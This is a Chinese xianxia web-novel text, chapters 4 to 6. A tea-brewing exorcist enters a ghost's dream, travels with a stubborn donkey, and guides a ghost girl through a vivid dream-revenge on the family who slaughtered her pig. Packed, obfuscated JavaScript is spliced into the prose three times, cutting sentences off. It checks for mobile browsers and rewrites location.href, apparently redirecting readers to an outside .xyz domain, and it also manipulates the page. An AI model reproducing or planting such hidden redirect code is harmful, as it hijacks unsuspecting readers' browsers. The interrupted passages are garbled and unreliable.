毛峰站了起来,他看向那扇紧闭的房门,他知道边镶红说的泡茶不是简单泡茶喝茶,而是以茶香入鬼界,追溯观望冤魂执念形成的前因后果,然后以功德为笔重新编写所有涉事者的命格,化解冤魂怨念,弥补善恶有报但不及时的不公。 这是边镶红超度执念深重的冤魂的独创方式。她十岁学会制茶、泡茶后,能轻易操控天下大大小小的梦灵,以茶香进入冤魂的世界。 于是她另辟蹊径,开创出了茶香超度法。不同于三步宗传承超度方法是剑法加符咒的超度法,打败冤魂后销毁冤魂,她觉得这样的方式过于简单粗暴,而龙景没有拆穿她的另一点,她在剑法上的造诣不足以支撑打败怨念强大的厉鬼。 但编撰他人命格会消耗掉边镶红更多的修为,她每天必须超度更多的冤魂,积攒更多功德提升修为。而且入梦若是处理不当,有失公允,边镶红会立即受到反噬。目前为止,她只遭受过一次反噬,导致她夜夜被梦灵打扰,噩梦连连。 边镶红要以茶香超度的对象,是白荼,应该说,她想去白荼的梦境探究她家人被杀的前因后果,以及她和龙景命格为何会相克。她知道白荼和龙景之间是一体双魂的关系,白荼是龙景没有被满足的欲望,不断积累后形成的怨念。她和他命格相克,她若枉死,她的怨念会成为白荼吞噬掉龙景的力量。 边镶红掀开斗篷后,看到的是龙景,那一双眼睛熠熠生辉,她再熟悉不过,可是那里流淌的杀意是真的。他们真的是一死一活的命格,可是她又清楚地知道龙景救她的原因不是因为害怕被白荼吞噬掉,他也不是想利用她和白荼自相残杀,等着他们同归于尽。 他想要她活着,他甘情愿为她牺牲生命,边镶红想不出原因是什么。 4. 第 4 章 在毛峰烧开第二壶水时,边镶红来到了日月亭,她刚沐浴完,头发全部束起,用两只檀木簪子固定住,一身修身玄服,袖子做得很窄,是华婆婆给她特制的衣裳,她右手里拿着一罐茶叶。 “师姐,需要我为你护法吗?”毛峰站了起来,态度还是一样谦恭。 边镶红入座,放下茶叶罐,看着噗噗沸腾的水壶盖,她伸手将水壶从火炉上拿了下来,“不需要。” 毛峰并不意外,他刚要推出去亭子,就听到边镶红的声音,“今日之事,你比我早知道对不对?” “也不完全是,我也没有想到白荼会在今天找上来。” “你为什么一定要喊我师姐?” “因为龙景是我师傅。” 边镶红侧过头去看他,“他不是你师傅。”龙景明明说了她是他唯一亲爱的徒弟,毛峰不可能也是他的徒弟。她也惊讶竟然会如此在意龙景到底有多少徒弟。 毛峰抬眸看着边镶红,“四百年前,我就认识龙景了。” 边镶红不由自主地摇了摇头,四百年前?龙景今年不是才一百八十岁吗?她其实对龙景真的了解不多。 “当然,他的确没有正式收我为徒。但六年前他带我回三步山,今天早上将三步山托付给我,难道不是在挑明我也是他的弟子吗?” 是了,龙景对他们的去处都做了安排。 “你下去吧!”水温差不多了,边镶红转过身来,看着那套紫砂壶茶具,是龙景从山下带回来的。她忽然发现这里的一草一木都是龙景,她屏气慢慢调整呼吸,从桌下在拿出另一套白瓷盖碗的茶具。 边镶红开始烫壶温杯,打开茶叶罐,用茶针拨出拨出半个茶则的量,轻柔地放入茶壶中,回旋注水浸没茶叶,提壶摇香后,高高注水,茶叶被热水推着旋转起来,她泡的是乌龙茶,水至七分就要停止,条索紧密的茶叶才有空间舒展,很快香气上升。她倒掉了温茶杯的热水后,将茶壶里的茶汤注入公道杯,分茶至杯,茶香四溢。 边镶红端了一杯,放在自己身前,她垂眸凝视着剩下的三杯茶,缓缓念道:“悠悠茶香,青青幽灵,闻我清茶,入君心梦。”她喝掉自己的那杯茶,闭上双眼,茶香从口鼻沁入五脏六腑。 四周静谧,茶香氤氲。 边镶红睁开眼睛,白荼的笑脸就在她的鼻尖,她一把推开了白荼,白荼后退几步,手上的茶杯倒是端的稳稳的,“小边,你不要这样粗鲁,还有你来的好慢啊!” “有你慢吗?你不是花了十八年才找到我。” 白荼摇摇头,“不对,在找你这件事我一直都比龙景快,不然我怎么可能杀得了你全家呢!这回是因为龙景把你藏在了三步山我才多话了一点时间。这里怨气太重了,你身上的怨气就看不出来了。” 边镶红迅速上前一步紧紧攥住白荼的脖子,她真想一刀剜出他的心,让他也活生生死去。他怎么能这样草菅人命! 白荼后退一步,没有拉扯开边镶红的桎梏,他的手在用力维持住茶杯的平衡,摇晃的瞬间茶香四溢,他深吸了一口气,神情甚是陶醉。 “这茶是真的很能抚慰人心,羊脂白的茶杯衬着茶汤澄黄透亮,很赏心悦目。茶香比花香清雅,还带着温热的水汽,喝上一口,心旷神怡。饮茶的确是大雅,你能想到以茶入梦也是有点智慧的。” 无力感冲刷着边镶红,此时此刻,她一样没有办法将白荼烧成灰,她放开了手。 白荼随即端着茶杯一饮而尽,茶凉了就失去了风味。 边镶红鄙夷地骂了一声:“牛嚼牡丹!”她知道白荼其实不懂茶的,鬼怎么会懂呢? 白荼大笑,“暴露了,我以为我学龙景学得十成十呢!” 边镶红伸手夺回了茶杯,“所以我的前生、前前生一样命运多舛,活不过十八岁,是吗?” “对!”白荼专注地看着边镶红,伸手做出掐住她脖子的动作,“你所有的人生都是颠沛流离、孤苦无依,青春早夭,这一次也会是。” 边镶红立即一巴掌呼过去,“都是你害的!” 白荼马上拽住她的手腕,他要躲开其实很容易,但没有必要。 “不是哦!”白荼摇了摇头,“我刚刚说了,我只杀了边家人。” 边镶红的神情蓦然惊慌,又很快镇定下来。白荼知道她在想什么,煽风点火道:“龙景才是大坏蛋,天底下最大的坏蛋。” “是他亲眼看着你的生命一步步走向绝境,一次次跌入深渊,而从不施以援手。” 白荼看到了边镶红逐渐愤怒的眼神,“你是天煞孤星,注定缘悭命蹇,你越多灾多难,龙景的人生才会越顺风顺水。” “不对!”边镶红再次扬起手,但这回没能打在白荼脸上,白荼抓住了她的手,“我所言句句真实。”他甩开了她的手,“所以我产生了,他有的那一点点良知把我从他的意志力剔除出去了。” 边镶红摇了摇头,这怎么会是真相呢,龙景怎么会这样一遍遍袖手旁观她的人生。可是她又立即明白,龙景当然可以那样作壁上观,她的人生,他为什么非要来救苦救难呢?只是为什么会觉得心疼,一阵阵地抽痛。 “我和龙景的命格为何会相克?” 白荼有点意外会听到边镶红直呼龙景名字,再次扯开嘴角笑了,“这样水火不容的相克命格的确少见,我在天下游荡多年也不曾见过这样的命理。所以我猜你们之间一定有过不共戴天的深仇大恨,你临终前心有不甘,怨念太过深重,才会导致你后面的人生,命运多舛。” 边镶红想被抽空了精气神,白荼看着她颓废苍白的神情知道她认可了他的说法。“龙景夺走了你所有的气运。”白荼靠近一步,轻声承诺:“只要你把你的血肉送给我,我就帮你报仇,吞噬掉龙景,那以后你的人生就不会时时、处处招灾惹祸。” 边镶红仰天看了一眼天空,在梦境里是无法看到蓝天的。在梦境里,灵魂石无法说谎的。梦是灵魂的内心世界,所以白荼说的话都是真的。 “所以龙景一定不能让你吞噬掉我的血肉?” “是!”白荼斩钉截铁,“我是他的恶念与戾气,得到你的戾气与怨念后,就能给他带来灭顶之灾。” “而且你不好奇为什么今天龙景能这样轻易封印我吗?”白荼循循善诱,“因为你站在他那一边,他借用了你的力量才封印我的,换言之,是你和他一起封印我的!” “但我还是可以帮你杀死龙景!” 边镶红抬头,她的双眼忽然有了光芒,白荼还没反应过来,“啪”清脆的巴掌声再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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毛峰抬头看着边镶红,她正低头注水浸泡茶叶,盖上盖碗后缓缓浇灌盖碗,茶叶已经凉了,需要保持热度才能更好激发茶香。他明白她的意思,是死是活她都一定会回到三步山,若死了她一定会吞噬掉三步山所有冤魂变成白荼那样,再找龙景报仇。 “好。” 边镶红放好水壶,按住茶盖,轻轻摇晃,她抬头看了一眼毛峰,“你为何不埋怨我?” “师姐一直待我很好,毛峰毫无怨言。” 边镶红低头,拿出另一只茶杯,倒茶出汤,“我不信,我连一个好茶都不想给你泡,你怎么会没有怨言。” “我不知道你所图为何,但我知道你一直对我很好,谢谢你的包容。”边镶红将茶端到他面前,“以后山高水长,我们就此别过。” 毛峰闻到了温热的焦糖香,边镶红炒制乌龙茶时喜欢重火烘焙,茶叶颜色会变黑,但泡出来的茶汤韵味更绵长醇厚。花婆婆在世的时候,他喝过几次。 毛峰小口喝了一点,入口有点苦涩,很快柔和下来,他又抿了一口,茶汤变得鲜爽回甘,最后一口,甘甜可口,口齿留香。他放下茶杯,回了一句,“好。” 边镶红端起茶杯,一口闷完。 5. 第 5 章 “救命啊!”边镶红大喊一声,她被突然疾驰的毛驴吓到,她紧紧拽着毛驴的脖子,双腿死命夹住驴身,但是她大半身体已经下坠悬空了,她即将被这只死命奔跑的犟驴摔下去。 好一只阳奉阴违的蠢驴,不知道毛峰从哪里拎出这头犟驴给她当坐骑。为了甩下她,这速度都要跟千里马有的一拼了。它一定以为跑下了三步山,离开了三步镇,远离毛峰就自由了。但她一样有一百种治它的办法。 边镶红双腿用力抱住驴身,松开右手抓住驴耳,左手大力拽住脖颈上的驴毛。 “嘤嘤呀!”小灰驴吃痛,仰头猛然刹住脚步。 一人一驴不算太重,边镶红知道惯性不会将她甩出去,她身形刚好被甩到驴头前而已,她背上的刀被刀鞘卡着,不然就给这头蠢驴这时候就得表演一个脚踏飞刀。她看了一眼绑在后面的包袱,还好纹丝不动,她的茶具都没事。 不得不说,毛峰做事就是细致,还特地给她的刀作了小保险。 边镶红回过头来恶狠狠地瞪着小灰驴,语气凶狠,“信不信我现在就把你宰了,烤着吃!” “诶诶嘤”小毛驴气的鼻孔扩张,张嘴大叫,扬起前蹄不断跳动要甩开边镶红。 好大的口气,好臭!边镶红知道硬的不行,驴也是要哄的。她立即坐正了身体,然后松开手,温柔的抚摸驴脖颈上的毛发,俯身贴到驴耳旁,语气温柔,“不吃你不吃你,姐姐爱你还来不及呢!但是小灰啊,你也不能想把我扔下啊,你有四条腿,我只有两条,我一人怎么翻身越岭呢!” “嘤嘤!”小灰驴又叫了两声,边镶红后退一点点,但还是轻柔地抚摸那只被她抓的通红的驴耳,“小灰啊,你知道你可是我们三步山最会跑的猛兽了,那小白马跑起来都看不到你的屁股,你这样擅长奔跑的驴那可是天底下独一无二的,不然毛峰能让你驮我下山吗?所以,你得好好驮着我跑,也别想离开姐姐,姐姐带你去看繁华、热闹的人间生活,说不定你还能遇到和你一样会跑的小美驴呢!” “嘤嘤嘤!”小灰驴似乎是受不了边镶红的抚摸,甩了甩头。 边镶红立马停手,她觉得这声音就是答应了。她从包袱里掏出了一颗苹果,喂到小灰驴嘴边,小灰驴张开了嘴就要咬下去,但又侧过头去,还“哼”了一声,快成精了这犟驴。 她眯眼,下驴,继续假笑顺毛哄驴,“小灰啊,来,快吃个苹果,可甜了,你从山上把我驮下来可辛苦了,可厉害了!一个怎么够吃了,来,这三颗都是你的,姐姐一颗都不吃,都是你的!” 苹果的香气无处不在,小灰驴转过头来,一口吃掉了三个苹果,吧唧吧唧咀嚼,鼻孔还不顿哈气。 边镶红保持着微笑,但忍不住后退了一步,剑法不精的弊端就是无法御剑飞行,她也没打算带赤阳下山,它得替她盯着封印。导致她的代步工具只能是这头犟驴,她忍住不去打它一顿,是因为她深信三步山的驴肯定不会是等闲之辈,看看它还知道要跑呢。 小灰驴吃了苹果,正眼看了看边镶红,边镶红立即满脸堆笑,“小灰,你好厉害,能一口气吃三颗苹果呢!” 小灰驴立即仰天叫了一声“嘤嘤”,它当然厉害。 “那我们休息好了,出发好不好啊!”边镶红笑着问,小灰驴点了点头,边镶红摸了摸它脖颈上的毛,很想扯掉,它竟然会点头。但还是抓着马鞍,左脚踩着马镫,右脚脚尖轻点,翻身上驴。毛峰都给她搞了一整套马具,怎么就没能驯服好这头驴。 小灰驴呼哧呼哧跑了起来,边镶红平稳地坐在驴背上欣赏沿途风景,她们已经离三步山很远了。山外真热,她的草帽已经不能抵挡太阳的强光了,她拿出了水壶喝了几口,想喝茶了,大热天的也适合喝茶。 天黑的时候,小灰驴驮着她到了青云镇。一路上,边镶红信马由缰,她实在看不懂地图,也不知道三步山山神到底在哪个方位。干脆就赌一把,或者说她深信她一定会找到山神。她牵着小灰驴进了城门,街道两遍的商家竟然都在打烊了,他们晚上不做生意吗? 事出反常必有妖,不,必有鬼。处理鬼,这个边镶红最擅长了。她抱着小灰驴的头,开心极了,“小灰啊,你真是姐姐的福星,感谢你专门为我找的这种怨气重的地方,让我来积攒功德,姐姐明天就给你买好多苹果、橙子,还有葡萄,我亲自给你剥葡萄皮。” 小灰驴大力甩了甩头,挣脱她的怀抱,边镶红一点都不生气,哈哈大笑,然后拉着它往街道深处走。下了山就得吃饭,边镶红要去找家客栈吃饭投宿,还是得先休整一下才有力气干活。很快,她就看到一家还亮着灯火的客栈,她牵着驴刚到门口就有伙计跑过迎接。 店小二明显迟疑了一小会,毕竟背着刀、牵着驴风尘仆仆的女人很少见,他有点震惊又有点嫌弃,但职业素养立马发挥效用,没办法,好想挣钱。“贵客来的太及时了,再过一刻,小店就要打烊了。”为示亲和,他伸手就要抚摸小灰驴的头,小灰驴立即高高扬蹄拒绝。 很好,这犟驴也知道刚刚那会他们被鄙夷了,它也不是谁都能亲近的。边镶红马上伸手安抚了一下小灰驴,“小哥,我这毛驴认生,不好意思了!” 店小二赔笑:“没关系,证明这是头好驴,通人性的好驴,我一定给它好好打扫马厩,备上上好的干草,让它也舒服舒服!” “嘤嘤!”小灰驴又叫了一声,边镶红知道它不吃草,“小哥,我这驴不吃干草,就喜欢蔬菜瓜果,麻烦你给他两颗白菜,两颗花菜,五颗苹果,两颗橙子。”它没有叫,那就是满意她给的菜单了,边镶红继续说道:“数量不能多也不能少,质量更要要好,洗干净了擦掉水分,再给它吃的。不然它会叫一整夜的。” 这样挑剔的驴的确少见,店伙计觉得手里的缰绳有些沉重,边镶红立即掏出一小块银子递给他,她对金钱没有什么概念,不知道那块银子至少半两,能卖五头驴了。他双眼发光,真的发财了,喜笑颜开地接过来,“贵客放心,保证让我们小驴哥宾至如归!” 另一个瘦高的店伙计也已经迎了出来,笑容更加灿烂,“贵客快往里边请,这张桌子我刚刚又擦了一遍,可干净了。” 边镶红拍了拍驴背,解开了包袱,对它关怀道:“小灰,好好休息!” 小二立即伸手要帮她提包袱,但边镶红侧过身去,“不用!”她不喜欢别人碰她的心爱的东西。小二会意,便在前面带路,将人引到了大厅中央的桌子,店里只有三桌人在吃饭,有点冷清。 “贵客要不要先把刀解下来?” 边镶红动了动后背,还是很牢固的,摇头拒绝,“不用,刀客就是刀不离身嘛!”出门在外,身份是自己给的。她在小二瞪大的双眼中,将包袱放在桌子上,接过了湿巾擦了擦手,“把你们店里的招牌捡几个送上来。”她也不想去研究吃什么了,感觉这里没啥好吃的。“还有,把你们最好的房间再给我打扫干净。” “好咧!”他高声应下,“贵客请稍等!”他们已经很久没有遇到这样豪爽的客人了,他们最喜欢的就是这样不会颐指气使又出手大方的客人了,今晚真是个发财的的好时候,还好没打烊。 很快饭菜就陆续送上来了,但是边镶红都不满意,看着就不好吃,红烧茄子、白菜豆腐、干锅花菜、青菜蛋汤,还有一盘切好的西瓜,这是把她当兔子喂吗?她出言拦住小二,“小二,肉呢?鱼呢?为什么没有荤腥?我的毛驴吃素,我吃肉的!” “贵客有所不知,我们这家家户户都吃菜,不沾荤腥的。”小二解释 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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店小二点头,走在前面带路,上了二楼,楼梯口左右各三间房,他往里走到尽头在第三间门口停下来了他打开门,里面已经点上了好几个蜡烛,“贵客,我们到了,这就是我们客栈最好的房间了,刚好隔壁和对面都没住人,晚上绝对不会吵到您。” 边镶红抬头一看,房间门牌写着“高山居”。她点点头,走进了房间,装潢还算雅致,窗户下的长桌上还摆着一小株茉莉盆栽。 小二看边镶红没有挑剔,便告退,“贵客好好休息,我这就去给您烧水!”关门离开。 从窗户吹来一阵风,茉莉花的香气弥漫开来,太香了。边镶红将包袱放到桌上,又看了一眼那个盆栽,伸手将它抱到门边的空地。她刚起身,屋内蜡烛全部熄灭,只有一点点斜照进来的月光,背后又传来一阵更加浓郁的茉莉花香。她听到了后院小灰驴嘤嘤叫了两声,咋有点欢乐的意味。 “你不喜欢茉莉花吗?”一道女声响起,语气刚开始很平静,但越来越愤怒和快速,“你喜欢吃肉,你喜欢把它们的血放完,把它们大卸八块,然后煮了吃掉!你是个恶人!” 边镶红刚转过身去,就被一双手死死拽住脖子,她被大力推倒砸在门框上。 凄厉的女声像爆竹爆破响起来,“你应该也要尝试一下被扭断脖子、被千刀万剐的滋味!” 边镶红耳朵要被震聋了,她立即双手握拳从下面重重打在来人的手臂关节,那人被卸了力气,又被一脚踹开,重重跌在在地上。 那人在黑暗中脸色惊讶连连,她能感受出边镶红和以前那些驱邪的道士不一样。她故意爬到月光下,让月光照亮她皮肉外翻,五官里蛆虫蠕动的脸,她的头忽然断掉,鲜血汩汩。 头颅忽然滚动起来,凄厉的哀嚎声萦绕在四面八方,还没人见到这样的情景不惊声大叫的。 边镶红果然大骂一声,“你不讲武德!怎么能搞偷袭呢!” 6. 第 6 章 那头颅明显停顿了一下,鬼吓人也要下战书吗?然后径直飞起就要砸到边镶红脸上,裂口的嘴,张张合合,“我要杀了你!杀了你!” “来啊!”边镶红兴奋地抄起门栓奋力一挥,“好球!” 那头颅实打实地被门栓击中,哐当一声砸在地上,还翻滚了几圈,眼珠子掉了一颗出来。 但很快眼珠子又复位了,连头颅也被安回脖子上了。 那女鬼转动着眼珠子上上下下,左左右右,然后“啊啊啊”惊呼一声,直直往后倾倒砸在地板上,那里铺着地毯,所以声音不算太大。 “不就帮你复原了一下身体,你竟然被自己吓到!”边镶红的头赫然出现在女鬼正上面,她还想再大叫,就听到边镶红“嗯”了一声,她用手帕擦了擦手,居高临下看着她,“你这只鬼好胆小哦!但好可爱哦!” 边镶红的笑容换回了更加尖锐的叫声,女鬼再也受不了,“啊啊啊!啊啊啊!” 这鬼疯了!被她吓得,“闭嘴!”边镶红立即伸出右脚按住她的嘴,“叫什么叫,别以为在梦境里不会吵到别人,我心爱的小毛驴要被你吵死了!” 女鬼看了看嘴上的鞋,这鞋比符咒还灵,她已经说不出话了。她抬眸看边镶红,疯狂眨眼睛表示不叫了。 边镶红挪开右脚,在地毯上不断摩擦,鞋底应该干净了。 “我就是喜欢吃肉,但我吃的都是我们自己专门养来吃的,野外自由生长的我不吃,有主人的我也不吃,所以不要胡乱攀咬我是个杀生如麻的坏人,我也不觉得我有错。” 女鬼站了起来,不服气,“可是自己养的你怎么能吃得下,它们也是生命啊!” “那我要活着啊,生命吃生命不是真理吗?”边镶红指了指门边的茉莉花,“植物向下扎根,向上发芽开花结果,难道不是生命,你怎么不为大米、小米、大麦、小麦、白菜、包菜等等打抱不平呢!” 女鬼闻言呆愣摇头,还是想要辩驳,“可是……”她抬头看着边镶红,忽然语塞。 “可是它们不是你亲手养大的!”边镶红侧着头看她,“它们不会叫,不会哀嚎,不会流血,所以它们不痛。” 边镶红看着女鬼瞪大的双眼,知道她本性善良,“你的爱宠被的父兄杀掉的确很可怜可恨,很无辜!但是小姑娘,你不能因此剥夺掉所有人吃肉的权利啊!报仇的精准打击对象,不能一棒子打死。当然啦,你还是善良的人,只想着吓走我。” 那女鬼眼神变得哀切,善良怎么会没有好报呢? 边镶红伸手抓住了她的手腕。敲门声响起,幻境消退,她放开了手,打开门,是小二送水上来了。 “客官,这水已经烧开了,我帮您放进房间去。” 边镶红点头,小二自然地放下了水壶,还嘱咐了一句小心烫伤,然后退了出去。 边镶红关上了门,看着低头站在角落里女鬼,“他又看不到你!” 女鬼抬头,是了,他们看不到的。 “来吧,姐姐请你喝茶!”边镶红拆开包袱,拿出了那套白瓷的茶具。 “我比你大!”女鬼看了一眼边镶红的脸,如无风吹拂的湖面,光滑明亮,强调:“我才是姐姐!” 边镶红头也没抬,“是吗,你死前有十七吗?”她忽然停止动作,抬头看着女鬼的双眼,有点物伤其类,“你当时才十六,那我还是你比大的。”她叹了一口气,“你太傻了,为了一只猪就这样死了,怪不得怨气这样重。” 女鬼冲到了边镶红面前,“你竟然能看到我的生前?” 边镶红理所当然,“小雨啊,你刚刚不是把我拉到了你的世界,我自然看到了。” 听到这个称呼后,小雨知道边镶红真的看到了她的生前,她本意是想吓唬她,但是她却窥探到了她的世界。 “你父兄为了钱杀了对你们家有恩的大猪,叫来福是吧,来福在你面前被杀掉肢解,你受不了刺激,气绝身亡。死后又不能找你父兄报仇,怨念太重,变成怨灵,徘徊在青云镇。遇到谁家杀猪宰羊的,你就化形将人家家里砸得乱七八糟,带着那些鸡鸭猪羊的魂魄在人家门口夜夜哭啼,导致青云镇一入夜就充满飞禽走兽的哀嚎。所以这里没有夜生活,还吃素!” 边镶红对这里没有夜生活、吃素很不满意。 “你是谁?”小雨更加激动,她果然比那些道士厉害。 边镶红自豪地介绍自己,“姐姐我行不更名坐不改姓,三步山边镶红是也!” “都没听过!”小雨浇了好大一盆冷水。边镶红哼了一声,低头烫茶具,“那是你孤陋寡闻!毕竟你还以为你刚刚那副‘尊荣’能吓到我,开玩笑,我三步山边镶红,什么奇形怪状的鬼没见过!” “不过,你们既然怨念深重,怎么没有被吸引至三步山,而是停留在故地呢?” “什么意思?我们为什么要被吸引至三步山,你怎么知道我后面还有人?她明命有没跟我一起来。” “先住嘴,等我泡好茶再说话,心不静泡不出好茶!没有好茶超度不了你!”边镶红停下动作,挺直身体,双手至于两膝,闭上眼,吸气呼气。 “我不想被超度,我要留在这里,阻止他们杀生!”小雨打不过她,也自知边镶红不会伤害她,所以她说出了自己的想法。 边镶红抬头看她,语气严肃,“你不被我超度的话,三天之后就会魂飞魄散!这里一样会杀猪宰羊,大口吃肉,你父兄也不会意识到自己做错了!” 小雨明显被边镶红的神情和言语震慑住了,她不知为何相信边镶红所言非虚。 边镶红见她面露犹豫,便低头烫茶具。小雨见她动作,也不言语,安静入座,她也想见见她说的泡茶超度她是什么样的章程? 边镶红拿出了一小方块,像红糖块,但颜色没那样深,那应该是茶叶,能看出是茶的枝叶,茶叶不是零散的吗?①她抬头看了一眼边镶红,她的神情宁静肃穆,跟刚刚说话时的神态完全不一样,她不敢出言发问。 恍惚间她好像见到了庙里的神明,小雨立即低头,神明才不会敲打她的头盖骨,但神明也没有满足过她的祈求。 “喝吧!喝了我带你去报仇。”边镶红端了一杯茶给她,小雨立即站了起来,惊慌失措,大喊:“我不杀人的!” “坐下!”边镶红招招手,“淡定点,我又没说报仇一定要杀人流血!” 小雨看着边镶红,重新入座,“那你要怎么帮我报仇?” “你先喝茶,这可是金贵的乌龙茶,我亲自采摘的集天地精华、阳光雨露生长出来的茶叶,再经过我殚精竭虑、匠心独运采用一系列工序炒制出来的独一无二的茶叶。喝上一口,清爽一生,鬼生也可以清清爽爽。” 有花香,不是栀子花的香味,是兰花的香气,她在山上闻过兰花香。香气由鼻腔沁入了她的肺腑,小雨快速捂住鼻子,不可置信地看着边镶红,她怎么会闻到香味? “太香啦?”边镶红有点受挫,这可是她新研制出来的茶,她深以为豪的。小雨连忙摇头解释,紧紧抓住她往回收的手,解释道:“不是,不是的,我只是震惊我竟然闻到茶香!” “我就知道我的茶天下无敌!”边镶红想想最近的确很久没跟鬼喝过茶,忘记和他们说明了,“做乌龙茶需要摇青,茶叶死去又活来,闻了我的茶香的鬼能恢复五感,所以你也算短暂地活过来了。当然现在我踹你一脚的话,你一定会疼哭的!所以放手。” 小雨眼睛瞪得比铜铃大,眼珠子一动不动,她忽然不太明白边镶红的意思,但她手上的确有温度,她感受到了从边镶红手腕处传来的热度,她立即松开手。 边镶红放下茶杯,“别发呆了!你只是短暂恢复而已!” 她木楞地端起茶杯放在鼻尖下,闻到了更加浓郁的香气,低头看到了金色的茶汤,想起随着热气不断上扬。她深深吸了一口气,一股甘甜凌冽的气息打通了她的五脏六腑,那些怨念的灼热似乎都被熄灭了。 边镶红无比骄傲,“这款茶我给它取名小甜水,炒制后捡掉老叶压成方型,用炭火复烘一次就好。所以入口鲜爽甘甜,入喉更加甘甜留香。” 小雨立即举杯喝掉,又是一只猛猛灌茶的鬼,“喝茶得三口,你喝两口也好啊!” 边镶红决定下次一定要提前说明喝茶得品,得细品! 小雨端着杯子,“那再来一杯!”因为真的好喝,真的是小甜水,她觉得浑身上下都好舒服。 边镶红主随客便,但不忘嘱咐,“三口品!” 小雨笑了,“不要!”她又是一口闷,边镶红哎呀一声惋惜,“你你你!” “这一杯我认真品!”小雨拿着茶杯伸出手在边镶红面前讨要,边镶红看她的笑容亲切而天真,伸出右手在小雨身前的桌子敲了三下,示意她放下茶杯。 “你可以不用把杯子端起来,我见你茶杯空了,自然会给你加茶。我给你加茶时你的右手食指和中指并拢,像我这样轻轻叩打桌面三下,这叫叩手礼。②用来表达对我这个泡茶人的感谢,这样我也会更开心给你泡茶喝。” 小雨从善如流得到了一杯茶。边镶红一样举杯,“喝吧,不然要凉了!” 边镶红带着小雨进入了王全忠、王大石和王惠的梦境。 “小雨,娘知道来福是你喂大的,你和它有点感情,哪有我们骨肉至亲亲近。你不要怪你爹和你哥,我们家的确是太穷了,把来福杀了卖掉,我们就有银子了,不然靠地里那些收成,你哥真的娶不上媳妇,但娘一定给你留一两银子做嫁妆!”王惠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16534551|186485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拿着菜刀用力割断绑住小雨全身的麻绳。 王惠忍不住抱怨:“你哥也真的,把你绑成这样做什么?你难不成真的会为了来福,把我们屋顶掀了。”王大石害怕她挣脱开,毫无章法捆绑了好几根绳子,打的也都是死结,根本解不开,只能割掉。王惠又不想浪费一整条绳子,特地在打结处下刀,但菜刀太钝了,很久才割断其中一条。她再次埋怨道:“小雨,你也是的,不就杀头猪吗?你爹说的对,养肥了就是要杀的。” “那你去尝试一下来福被杀的痛苦吧!”边镶红从小雨身后走出来,王惠立即被一根绳子捆绑住在两条长凳上,她被吊起来了,由下而上看到了自己的身体,来福雪白而庞大的身躯,她惊慌不已,挣扎剧烈,唉唉嚎叫。 王全忠被突然吵闹起来的来福吓了一跳,不耐烦地捡起地上的木棍砸在它的脑袋上,“来福啊,我会很快的,你不会太痛苦的!” 王惠头部被重击,眼冒金星,意识昏沉了一下,疼痛又使她清醒过来,她哀嚎不已,“全忠,是我,我不是来福,我是王惠啊!” 王全忠自然听不到,他的刀是真的很快。王惠感觉自己全身热血正在向外喷发,她挥动着四肢想要捂住伤口,捂住喷涌而出的鲜血,可是她徒劳无功。她的心跳好快,鲜血一股一股地离开了她的身体里,她的脖子热气腾腾,疼痛难忍,她双眼视线逐渐模糊。她喉咙呛满了血液,一点点声音都发不出来。 边镶红俯下身,在王惠耳边轻轻说道:“你的血液像喷泉一样爆炸了!” “啊!”王惠艰难地叫了一声,她真的不想死,她扭动着身体,表达她求生的愿望。 “来福临死前也是这样的!它也不想死,你当时没看到它的眼神吗?” 王惠残存的意识里浮现出了来福的眼神,绝望的,含着泪水。她的双眼也开始合上,进入黑暗。 “娘!”小雨还是跑了过来,想抓住王惠,却无法触碰。 “放心,她没死,梦里不能杀人。” 小雨有点愤怒,“以牙还牙,就是你的超度方法?” 边镶红知道她心软,可是她铁石心肠,所以第一个先拿王惠开刀。她侧着头笑着问道:“对啊,这难道不是最简单有效的办法吗” 小雨皱着眉,想要反驳。边镶红不给她开口的机会,“照理说,你的怨气足够支撑你施展环境,让他们全部都感受一遍来福的痛苦,可是你偏不那么做!你真的想为来福报仇吗?” “我当然想,但这样的报仇太过简单了,他们也不会真的改变的,他们只经历一遍远远不够。” 边镶红双手抱胸,“可是你之前的报仇他们一次都没感受到痛苦,还在骂你蠢,为了一头猪把自己气死了,还将青云镇搞得人心惶惶。” 小雨闻言后退一步,边镶红说的她自然知道。 “你可能不知道濒死的恐怖阴影,是挥之不去的,他们以后会经常被吓到,有生之年对杀生一定会充满恐惧。而恐惧能杀死人!这才算给来福报仇。” 边镶红前进一步,“所以接下来的报仇,你亲自来!” 小雨直摇头,忍不住又后退了一步。 边镶红沉默,等待小雨做出选择。 很快王家的父子的惨叫声此起彼伏,他们捂着脖子从床上跳下来,跑出了房间,披头散发到处乱窜,不停喊着,“不要杀我!不要杀我!” 边镶红抓住了小雨的手,再睁眼,两人回到了客栈的房间里。 “我还能再喝一杯茶吗?”小雨神色愉悦,边镶红点了点头,“但是茶凉了不那么好喝。” “不会,它真的很甜!你是故意给我泡甜甜的茶对不对?” 边镶红将公道杯里的茶都倒了小雨,刚好有八分满。 “你说是就是吧,毕竟我一直觉得我这人人美心善!”边镶红忍不住自夸,小雨笑了,“你如果没有把我的头盖骨打出去,我一定会赞同你的说法。”她说完抿了一口,“我其实不想把这里搞成这样的!” 